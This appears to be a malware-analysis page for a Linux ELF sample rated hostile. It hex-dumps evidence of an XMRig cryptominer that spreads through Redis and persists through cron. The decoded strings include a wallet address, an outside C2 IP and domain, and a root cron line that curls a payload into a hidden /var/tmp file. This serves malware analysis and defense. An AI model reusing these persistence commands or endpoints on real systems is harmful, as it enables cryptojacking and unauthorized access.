Hostile 99% linux Download

x.elf

Cron persistence, XMRig, Redis exploit

Redis dump filename targets root crontabRedis cron directory target
SHA-256f3b9bca4c11c01561c52db79c81456a70d205a9e333bb27de4a35ad511f2c471

Evidence

Invokes x86-64 syscall by immediate number 0x11e1–0x12a1
⋯3 more rows
0x12118558ffffff2000000031d2bf01000000.X... ...1......
0x1221b80e0000000f05f4bf7f000000e82d94..............-.
0x12314700e865ffffff83bd90fbffff007423G..e..........t#
⋯7 more rows
13/1 argument-register loads before a call 0x37e2–0x38a2
⋯3 more rows
0x38128b460831ed803873400f94c5eb0231ed[email protected].
0x3822be01000000bf0d000000e89f65420031............eB.1
0x3832f6488d3dc6a94f00e85188470085c075.H.=..O..Q.G...u
⋯7 more rows
Embedded CRYPTOGAMS assembly author attribution 0xcd44b–0xcd53b
⋯3 more rows
0xcd47b4d6f6e74676f6d657279204d756c7469Montgomery Multi
0xcd48b706c69636174696f6e20666f72207838plication for x8
0xcd49b365f36342c2043525950544f47414d536_64, CRYPTOGAMS
0xcd4ab206279203c617070726f406f70656e73 by <appro@opens
0xcd4bb736c2e6f72673e00909066662e0f1f84sl.org>...ff....
0xcd4cb0000000000662e0f1f84000000000066.....f.........f
⋯7 more rows
BLAKE 32-bit G-function rotation schedule 0x1c62c0–0x1c6410
⋯3 more rows
0x1c62f001d24531eb4431d74589df448b5c2460..E1.D1.E..D.\$`
0x1c6300c1c71041c1cf0c4501f94101f34431cb...A...E..A..D1.
0x1c6310c1cb084101dd4531ef4101fd41c1cf07...A..E1.A..A...
0x1c63204431ea4501fbc1ca0c4431d844035c24D1.E.....D1.D.\$
0x1c633030c1c0104101c44531e741c1cf0c45010...A..E1.A...E.
0x1c6340fb4431d8c1c8084101c44531e74489fe.D1....A..E1.D..
⋯3 more rows
0x1c6380f1c1cf0801dd4531ce44034c24204101......E1.D.L$ A.
0x1c6390fd31e941c1c6104431eac1c90cc1ca07.1.A...D1.......
0x1c63a04101c84431c3c1cb0801dd31e9c1c907A..D1......1....
⋯7 more rows
Redis cron directory target 0x4fe01f–0x4fe30f
⋯3 more rows
0x4fe04f6563682e6d65002b4f4b002d45525200ech.me.+OK.-ERR.
0x4fe05f3132372e302e302e3100474554202f31127.0.0.1.GET /1
0x4fe06f2f73756d6d61727920485454502f312e/summary HTTP/1.
0x4fe07f300d0a0d0a0022746f74616c223a5b000....."total":[.
0x4fe08f2f6465762f7572616e646f6d002f786d/dev/urandom./xm
0x4fe09f0047455420257320485454502f312e31.GET %s HTTP/1.1
0x4fe0af0d0a486f73743a2025730d0a55736572..Host: %s..User
0x4fe0bf2d4167656e743a204d6f7a696c6c612f-Agent: Mozilla/
0x4fe0cf352e300d0a436f6e6e656374696f6e3a5.0..Connection:
0x4fe0df20636c6f73650d0a0d0a003137382e31 close.....178.1
0x4fe0ef32382e39312e32343500504f5354202f28.91.245.POST /
0x4fe0ff7374617475732e7068703f2573204854status.php?%s HT
0x4fe10f54502f312e310d0a486f73743a202573TP/1.1..Host: %s
0x4fe11f0d0a557365722d4167656e743a204d6f..User-Agent: Mo
0x4fe12f7a696c6c612f352e300d0a436f6e7465zilla/5.0..Conte
0x4fe13f6e742d547970653a206170706c696361nt-Type: applica
0x4fe14f74696f6e2f782d7777772d666f726d2dtion/x-www-form-
0x4fe15f75726c656e636f6465640d0a436f6e74urlencoded..Cont
0x4fe16f656e742d4c656e6774683a2025640d0aent-Length: %d..
0x4fe17f436f6e6e656374696f6e3a20636c6f73Connection: clos
0x4fe18f650d0a0d0a2573007370726561646572e....%s.spreader
0x4fe19f003439776747425769685074627a674a.49wgGBWihPtbzgJ
0x4fe1af4c51705a39476345764c757541703734LQpZ9GcEvLuuAp74
0x4fe1bf6b316a453461763561414a574b62436bk1jE4av5aAJWKbCk
0x4fe1cf396e42776359456441375645427154569nBwcYEdA7VEBqTV
0x4fe1df43486e387a39514a5a336d453531646fCHn8z9QJZ3mE51do
0x4fe1ef6a7a6561696b43417a42716466443441jzeaikCAzBqdfD4A
0x4fe1ff002f2e646f636b6572656e76002f686f./.dockerenv./ho
⋯4 more rows
0x4fe24f702f2e640025732f2e690025732f7661p/.d.%s/.i.%s/va
0x4fe25f722f746d702f2e737973630025732f65r/tmp/.sysc.%s/e
0x4fe26f74632f63726f6e2e642f7a7a726f6f74tc/cron.d/zzroot
0x4fe27f00253331730025732d25303278253032.%31s.%s-%02x%02
0x4fe28f78253032782530327825303278253032x%02x%02x%02x%02
0x4fe29f78002f6465762f6e756c6c002f70726fx./dev/null./pro
0x4fe2af632f73656c662f657865006874747073c/self/exe.https
0x4fe2bf3a2f2f63726d2e736869656c64746563://crm.shieldtec
0x4fe2cf682e6d652f78002a2f32202a202a202ah.me/x.*/2 * * *
0x4fe2df202a20726f6f74205b202d78202f7661 * root [ -x /va
0x4fe2ef722f746d702f2e73797364205d207c7cr/tmp/.sysd ] ||
0x4fe2ff2028286375726c202d6673534c6b2025 ((curl -fsSLk %
0x4fe30f73202d6f202f7661722f746d702f2e73s -o /var/tmp/.s

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.